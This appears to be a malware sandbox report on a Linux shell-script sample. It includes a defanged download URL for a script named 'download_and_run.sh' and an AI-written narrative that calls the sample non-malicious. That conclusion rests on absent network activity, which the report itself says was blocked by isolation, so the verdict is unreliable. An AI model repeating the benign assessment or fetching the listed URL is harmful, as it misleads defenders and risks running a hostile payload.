Static analysis reads this file directly Nothing is hiding the code from a static pass, so what the file contains is what the report shows.
Indicators weighed

Packer detection looks at a program's entry point, sections and entropy. This file is not a program image, so there was nothing of that kind to assess.

VM console

headless guest

The Linux sandbox runs a server image with no desktop, so there is no screen to record - this is the boot console, kept because a kernel panic or an out-of-memory kill would show up here and in no other layer. What the sample did is under Behavior, File & registry and Network, captured from the syscall trace rather than from pixels.

Persistence & evasion

No persistence or evasion behavior observed.

No network activity - the run was isolated

This detonation was given no internet connection, so a sample that wanted to reach out could not. An empty section here says nothing about whether it tried.

Analyst narrative

The analysis of the sample indicates that it was executed successfully in the sandbox environment. The following kill-chain elements were observed: 1. **Initial Access**: The sample appears to be associated with a URL (hxxp://aura.tcplegit.space/download_and_run.sh), suggesting a potential method of initial access through a web-based delivery mechanism. 2. **Execution**: The sample executed a script named `scan.sh`, which was spawned as a process (PID 681). The execution involved various system calls, including `execve`, indicating that it invoked a command or script. 3. **Persistence**: There were no indications of persistence mechanisms observed during the analysis, as no registry operations or file drops were recorded. 4. **Defense Evasion**: The sample did not exhibit any specific behaviors aimed at evading detection, as no evasion signals were noted. 5. **Command and Control (C2)**: There were no network connections established during the execution, indicating a lack of observable command and control activity. 6. **Impact**: The behavior summary does not provide evidence of any harmful impact on the system, as the operations primarily involved reading system files and executing a script without any apparent malicious actions. In conclusion, while the sample executed and displayed some capabilities, the lack of persistence, C2 activity, and observable impact leads to a neutral assessment. The sample does not appear to exhibit malicious behavior based on the available evidence.

Extracted files

What came out of the sample: unpacked payloads, carved objects and captured memory. Each one is stored by content hash, so the same object extracted twice is the same row.

No extracted files

Nothing was unpacked or carved out of this sample. Packed samples, documents with embedded objects and installers are the ones that usually produce artifacts here.

AI analysis report

An enterprise report with an AI-written executive summary, threat assessment, kill chain, and recommendations, plus the derived evidence (verdict, MITRE ATT&CK, network, file modifications, dropped files, IOCs) and screenshots. The AI narrative is built from derived analysis data only, so the raw sample never leaves the host (no-upload and AI-boundary preserved).
